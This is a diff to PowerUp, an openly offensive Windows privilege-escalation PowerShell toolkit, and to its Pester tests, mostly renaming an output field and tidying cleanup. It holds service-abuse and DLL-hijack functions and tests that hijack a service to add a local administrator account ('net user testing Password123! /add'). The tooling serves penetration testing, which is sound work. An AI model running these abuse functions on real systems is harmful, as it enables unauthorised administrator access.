$Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference $Out | Add-Member Noteproperty 'StartName' $ServiceStartName @@ -1750,6 +1805,7 @@ function Invoke-ServiceAbuse { } $TargetService | Start-Service -ErrorAction SilentlyContinue + Start-Sleep -Seconds 2 } if($PSBoundParameters['Force']) { @@ -1760,7 +1816,7 @@ function Invoke-ServiceAbuse { } Write-Verbose "Restoring original path to service '$($TargetService.Name)'" - + Start-Sleep -Seconds 1 $Success = $TargetService | Set-ServiceBinPath -binPath "$OriginalServicePath" if (-not $Success) { @@ -1775,6 +1831,7 @@ function Invoke-ServiceAbuse { elseif($OriginalServiceState -eq "Paused") { Write-Verbose "Starting and then pausing service '$($TargetService.Name)'" $TargetService | Start-Service + Start-Sleep -Seconds 1 $TargetService | Set-Service -Status Paused -ErrorAction Stop } elseif($OriginalServiceState -eq "Stopped") { @@ -2101,13 +2158,13 @@ function Install-ServiceBinary { $ServiceDetails = $TargetService | Get-ServiceDetail - $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths if(-not $ModifiableFiles) { throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." } - $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty Path + $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath $BackupPath = "$($ServicePath).bak" Write-Verbose "Backing up '$ServicePath' to '$BackupPath'" @@ -2185,13 +2242,13 @@ function Restore-ServiceBinary { $ServiceDetails = $TargetService | Get-ServiceDetail - $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths if(-not $ModifiableFiles) { throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." } - $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty Path + $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath $BackupPath = "$($ServicePath).bak" Copy-Item -Path $BackupPath -Destination $ServicePath -Force @@ -2310,7 +2367,7 @@ function Find-ProcessDLLHijack { $TargetProcess = Get-Process -Name $ProcessName - if($TargetProcess.Path -and ($TargetProcess.Path -ne '')) { + if($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($TargetProcess.Path -ne $Null)) { try { $BasePath = $TargetProcess.Path | Split-Path -Parent @@ -2391,7 +2448,18 @@ function Find-PathDLLHijack { [CmdletBinding()] Param() - Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | Get-ModifiablePath + # use -LiteralPaths so the spaces in %PATH% folders are not tokenized + Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { + $TargetPath = $_ + + $ModifidablePaths = $TargetPath | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and ($_ -ne $Null) -and ($_.ModifiablePath -ne $Null) -and ($_.ModifiablePath.Trim() -ne '')} + ForEach($ModifidablePath in $ModifidablePaths) { + if($ModifidablePath.ModifiablePath -ne $Null) { + $ModifidablePath | Add-Member Noteproperty '%PATH%' $_ + $ModifidablePath + } + } + } } @@ -3572,7 +3640,7 @@ function Invoke-AllChecks { "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..." $Results = Find-PathDLLHijack $Results | Foreach-Object { - $AbuseString = "Write-HijackDll -DllPath '$($_.Path)\wlbsctrl.dll'" + $AbuseString = "Write-HijackDll -DllPath '$($_.ModifiablePath)\wlbsctrl.dll'" $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString $_ } | Format-List diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 62aad67..b2478de 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -38,8 +38,8 @@ Describe 'Get-ModifiablePath' { try { $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 - if ($Output.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-ModifiablePath result doesn't contain 'Path' field." + if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Get-ModifiablePath result doesn't contain 'ModifiablePath' field." } if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { @@ -61,7 +61,7 @@ Describe 'Get-ModifiablePath' { try { $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 - $Output.Path | Should Be $FilePath + $Output.ModifiablePath | Should Be $FilePath } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue @@ -92,20 +92,13 @@ Describe 'Get-ModifiablePath' { try { $Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1 - $Output.Path | Should Be $FilePath + $Output.ModifiablePath | Should Be $FilePath } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue } } - It 'Should return no results for a non-existent path.' { - $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" - - $Output = Get-ModifiablePath -Path $FilePath - $Output | Should BeNullOrEmpty - } - It 'Should accept a path string over the pipeline.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Null | Out-File -FilePath $FilePath -Force @@ -514,19 +507,6 @@ Describe 'Get-ModifiableServiceFile' { $Null = Remove-Item -Path $ServicePath -Force } } - - It 'Should not return a service with a non-existent service binary.' { - $ServiceName = Get-RandomName - $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" - - sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' - - $Output = Get-ModifiableServiceFile | Where-Object { $_.ServiceName -eq $ServiceName } - - $Output | Should BeNullOrEmpty - - sc.exe delete $ServiceName | Should Match 'SUCCESS' - } } @@ -660,7 +640,7 @@ Describe 'Invoke-ServiceAbuse' { } It 'Should accept custom user/password arguments.' { - $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' $Output.Command | Should Match 'net' if( -not ($(net localgroup Administrators) -match 'PowerUp')) { @@ -786,18 +766,22 @@ Describe 'Install-ServiceBinary' { } It 'Should accept custom user/password arguments.' { - $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' - $Output.Command | Should Match 'net' + try { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' + $Output.Command | Should Match 'net' - $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue - Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match 'PowerUp')) { - Throw "Local user 'PowerUp' not created." - } - $Null = $(net user PowerUp /delete >$Null 2>&1) + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } - $Output = Restore-ServiceBinary -ServiceName PowerUpService - "$(Get-Location)\powerup.exe.bak" | Should Not Exist + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + finally { + $Null = $(net user PowerUp /delete >$Null 2>&1) + } } It 'Should accept a credential object.' { @@ -820,33 +804,41 @@ Describe 'Install-ServiceBinary' { } It 'Should accept an alternate LocalGroup.' { - $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' -LocalGroup 'Guests' - $Output.Command | Should Match 'net' + try { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' -LocalGroup 'Guests' + $Output.Command | Should Match 'net' - $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue - Start-Sleep -Seconds 3 - if( -not ($(net localgroup Guests) -match 'PowerUp')) { - Throw "Local user 'PowerUp' not created." - } - $Null = $(net user PowerUp /delete >$Null 2>&1) + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Guests) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } - $Output = Restore-ServiceBinary -ServiceName PowerUpService - "$(Get-Location)\powerup.exe.bak" | Should Not Exist + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + finally { + $Null = $(net user PowerUp /delete >$Null 2>&1) + } } It 'Should accept a custom command.' { - $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Command "net user testing Password123! /add" - $Output.Command | Should Match 'net' + try { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Command "net user testing Password123! /add" + $Output.Command | Should Match 'net' - $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue - Start-Sleep -Seconds 3 - if( -not ($(net user) -match "testing")) { - Throw "Custom command failed." + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net user) -match "testing")) { + Throw "Custom command failed." + } + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + finally { + $Null = $(net user testing /delete >$Null 2>&1) } - $Null = $(net user testing /delete >$Null 2>&1) - - $Output = Restore-ServiceBinary -ServiceName PowerUpService - "$(Get-Location)\powerup.exe.bak" | Should Not Exist } } @@ -883,30 +875,53 @@ Describe 'Find-PathDLLHijack' { New-Item -Path 'C:\PowerUpTest\' -ItemType directory -Force - try { - $OldPath = $Env:PATH - $Env:PATH += ';C:\PowerUpTest\' + $OldPath = $Env:PATH + $Env:PATH += ';C:\PowerUpTest\' - $Output = Find-PathDLLHijack | Where-Object {$_.Path -like "*PowerUpTest*"} | Select-Object -First 1 + $Output = Find-PathDLLHijack | Where-Object {$_.ModifiablePath -like "*PowerUpTest*"} | Select-Object -First 1 - $Env:PATH = $OldPath + $Env:PATH = $OldPath - $Output.Path | Should Be 'C:\PowerUpTest\' + $Output.ModifiablePath | Should Be 'C:\PowerUpTest\' - if ($Output.PSObject.Properties.Name -notcontains 'Path') { - Throw "Find-PathDLLHijack result doesn't contain 'Path' field." - } + if ($Output.PSObject.Properties.Name -notcontains '%PATH%') { + Throw "Find-PathDLLHijack result doesn't contain '%PATH%' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." + } - if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { - Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." - } + $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue + } - if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { - Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." - } + It "Should find a hijackable %PATH% folder that doesn't yet exist." { + + $OldPath = $Env:PATH + $Env:PATH += ';C:\PowerUpTest\' + + $Output = Find-PathDLLHijack | Where-Object {$_.'%PATH%' -eq 'C:\PowerUpTest\'} | Select-Object -First 1 + + $Env:PATH = $OldPath + + $Output.ModifiablePath | Should Be 'C:\' + + if ($Output.PSObject.Properties.Name -notcontains '%PATH%') { + Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." } - catch { - $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." } } } @@ -968,9 +983,9 @@ Describe 'Get-ModifiableRegistryAutoRun' { $Null | Out-File -FilePath $FilePath -Force $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" - $Output = Get-ModifiableRegistryAutoRun | Where-Object {$_.Path -like "*$FilePath*"} | Select-Object -First 1 + $Output = Get-ModifiableRegistryAutoRun | Where-Object {$_.ModifiableFile -like "*$FilePath*"} | Select-Object -First 1 - $Output.ModifiableFile.Path | Should Be $FilePath + $Output.ModifiableFile.ModifiablePath | Should Be $FilePath if ($Output.PSObject.Properties.Name -notcontains 'Key') { Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'Key' field." @@ -982,8 +997,8 @@ Describe 'Get-ModifiableRegistryAutoRun' { Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'ModifiableFile' field." } - if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Path' field." + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'ModifiablePath' field." } if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Permissions') { Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field." @@ -1027,7 +1042,7 @@ Describe 'Get-ModifiableScheduledTaskFile' { $Output = Get-ModifiableScheduledTaskFile | Where-Object {$_.TaskName -eq 'PowerUp'} | Select-Object -First 1 $Null = schtasks.exe /delete /tn PowerUp /f - $Output.TaskFilePath.Path | Should Be $FilePath + $Output.TaskFilePath.ModifiablePath | Should Be $FilePath if ($Output.PSObject.Properties.Name -notcontains 'TaskName') { Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskName' field." @@ -1039,8 +1054,8 @@ Describe 'Get-ModifiableScheduledTaskFile' { Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskTrigger' field." } - if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Path' field." + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'ModifiablePath') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'ModifiablePath' field." } if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Permissions') { Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Permissions' field." -- cgit v1.2.3